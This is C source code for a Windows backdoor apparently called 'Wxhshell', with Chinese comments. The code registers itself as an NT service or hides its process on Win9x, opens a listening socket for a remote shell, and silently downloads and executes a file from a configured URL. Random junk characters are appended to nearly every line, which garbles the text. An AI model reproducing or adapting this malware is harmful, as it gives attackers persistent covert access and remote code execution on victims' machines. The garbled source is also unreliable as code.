ULONG InheritedFromUniqueProcessId; -Q2, "
} PROCESS_BASIC_INFORMATION; Bm.afsM;
F^l[GdUosK
PROCNTQSIP NtQueryInformationProcess; 5VRYO"D:
r~[Ia!U ?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]~844Jp
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uzXCIv@
iz5CAxm
HANDLE hProcess; '#!
gh?
PROCESS_BASIC_INFORMATION pbi; {Z{75}
TH)"wNa
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hrmut*<|
if(NULL == hInst ) return 0; yhlFFbU
OL5v).Bb
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T}
`x-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y@]_+2Vo
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wWgWWXGT}
9K/HO!z
if (!NtQueryInformationProcess) return 0; m 2-Sx
J2d.f}-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (As#^q\>B
if(!hProcess) return 0; k[0-CB
(VS5V31"
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?xK8#
}{M#EP8q+
CloseHandle(hProcess); kSC}aN'
>AC]#'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "X2 Vrn'
if(hProcess==NULL) return 0; -\+s#kE:
~L]|?d"
HMODULE hMod; |].pDwgt
char procName[255]; \Fl+\?~D
unsigned long cbNeeded; h"lX4
$GYm6x\4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ko1J094Y%
0,r}o
CloseHandle(hProcess); EQ2#/>
PiY Y6i0
if(strstr(procName,"services")) return 1; // 以服务启动 6\L0mcXR!
z25lZI" X`
return 0; // 注册表启动 %?LOs
H
} aGK?x1_
@*>@AFnf\Z
// 主模块 )@N2
int StartWxhshell(LPSTR lpCmdLine) UYFwS/ RW}
{ ,_|]Ufr!a
SOCKET wsl; hp8%.V$f
BOOL val=TRUE; f6 |KN+.
int port=0; Vw[ 6t>`
struct sockaddr_in door; gHhh>FFAq
Tfh 2.
if(wscfg.ws_autoins) Install(); '"y|p+=j:
o5xAav"+>
port=atoi(lpCmdLine); @95FN)TXZY
za#s/b$[
if(port<=0) port=wscfg.ws_port; DQMHOd7g
cQG
+$0(
WSADATA data; ?/TSi0R
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rJFc({ 0
qNI,
62
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )q0. 0<f
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dlU'2Cl7d
door.sin_family = AF_INET; ur*T%b9&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); (E/lIou
door.sin_port = htons(port); AGH|"EWG
+$X#q8j06
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A3vUPWdDk
closesocket(wsl); tcI}Ca>u
return 1; x2@U.r"zo
} 0_k'.5l%
&GNxo$CG
if(listen(wsl,2) == INVALID_SOCKET) { v4?x.I
closesocket(wsl); Jwj%_<
return 1; np%\&CVhN
} y+!+ D[x
Wxhshell(wsl); JB ZUv
WSACleanup(); *J$=.fF1
gWrgnlq
return 0; ;`l'2
z@N
{x:ZF_wbb
} 1h>yu3O
c<uN"/gi*
// 以NT服务方式启动 '#LQN<"4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'sLiu8G
{ "+\ lws
DWORD status = 0; h tx;8:
DWORD specificError = 0xfffffff; f}Np/
vgD {qg@
serviceStatus.dwServiceType = SERVICE_WIN32; ,REJt
serviceStatus.dwCurrentState = SERVICE_START_PENDING; V<D.sd<
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /y A7%2
serviceStatus.dwWin32ExitCode = 0; !E,A7s
serviceStatus.dwServiceSpecificExitCode = 0; KQ`qpX^d
serviceStatus.dwCheckPoint = 0; _8Z_`@0
serviceStatus.dwWaitHint = 0; j>]nK~[ka
kgy:Q'
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p(PMZVV`
if (hServiceStatusHandle==0) return; PGYXhwOI
.w> 4
status = GetLastError(); n"+[ :w4
if (status!=NO_ERROR) /R~1Zj2&
{ *4U^0e
serviceStatus.dwCurrentState = SERVICE_STOPPED; Jo$G,Q
serviceStatus.dwCheckPoint = 0; UJ0<%^f
serviceStatus.dwWaitHint = 0; Dw=gs{8D
serviceStatus.dwWin32ExitCode = status; wUiys/OVM
serviceStatus.dwServiceSpecificExitCode = specificError; 3l[McZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?notxE7 ]
return; :[\v
} baJxU:Y=p
W3D c r@Dy
serviceStatus.dwCurrentState = SERVICE_RUNNING; v$(lZa1
serviceStatus.dwCheckPoint = 0; 9Q(+ZG=JkV
serviceStatus.dwWaitHint = 0; 5K^69mx
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7@Zx@
} #mZpeB~
CqHK %M
// 处理NT服务事件,比如:启动、停止 ^Y u6w\QM
VOID WINAPI NTServiceHandler(DWORD fdwControl) nt;haeJ
{ S{FROC~1R
switch(fdwControl) %YSpCI
{ ?q(\=;Y
case SERVICE_CONTROL_STOP: &ZghMq~
serviceStatus.dwWin32ExitCode = 0; !lxTX
serviceStatus.dwCurrentState = SERVICE_STOPPED; \%/#x V
serviceStatus.dwCheckPoint = 0; 0VckocF
serviceStatus.dwWaitHint = 0; pWPIJ>2G:
{ A,V\"KU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6An9S%:_
} TpmwD{c[\
return; $={:r/R`i
case SERVICE_CONTROL_PAUSE: T21ky>8E
serviceStatus.dwCurrentState = SERVICE_PAUSED; e%4:)
IV!;
break; CNr/U*+
case SERVICE_CONTROL_CONTINUE: Dq36p${\W
serviceStatus.dwCurrentState = SERVICE_RUNNING; P&j(,7
break; )+6v
case SERVICE_CONTROL_INTERROGATE: psnTFe
break; K`/`|1
}; $&$w Y/F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uC8L\UXk
} +Vo}F
qOSg!aft{Q
// 标准应用程序主函数 J8M$k/"X
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zm"{V iv]
{ %honO@$
q(zJ%Gv)
// 获取操作系统版本 NE/m-ILw
OsIsNt=GetOsVer(); oq4}3bQ
GetModuleFileName(NULL,ExeFile,MAX_PATH); @%tRhG
~XyW&@
// 从命令行安装 fwrJ!j
if(strpbrk(lpCmdLine,"iI")) Install(); "t({D
u)ev{)$TM
// 下载执行文件 )I^2k4Cg"
if(wscfg.ws_downexe) { Nc:({@I
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ({-GOw46
WinExec(wscfg.ws_filenam,SW_HIDE); n6*En7IVh
} %V1Z~HC
P6 ;'Sza
if(!OsIsNt) { Di@GY!
// 如果时win9x,隐藏进程并且设置为注册表启动 N[<H7_/3
HideProc(); r'dr9"-{
StartWxhshell(lpCmdLine); "p/j; 6H
} 3' ~gviI
else B|C/
Rk6?
if(StartFromService()) +$$$
// 以服务方式启动 #'-Sh7ycW
StartServiceCtrlDispatcher(DispatchTable); UK$ms~H
else `6[I^qG".
// 普通方式启动 J[A14z]#`
StartWxhshell(lpCmdLine); eVt$7d?Jw
aWwPvd3
return 0; v~T7`
}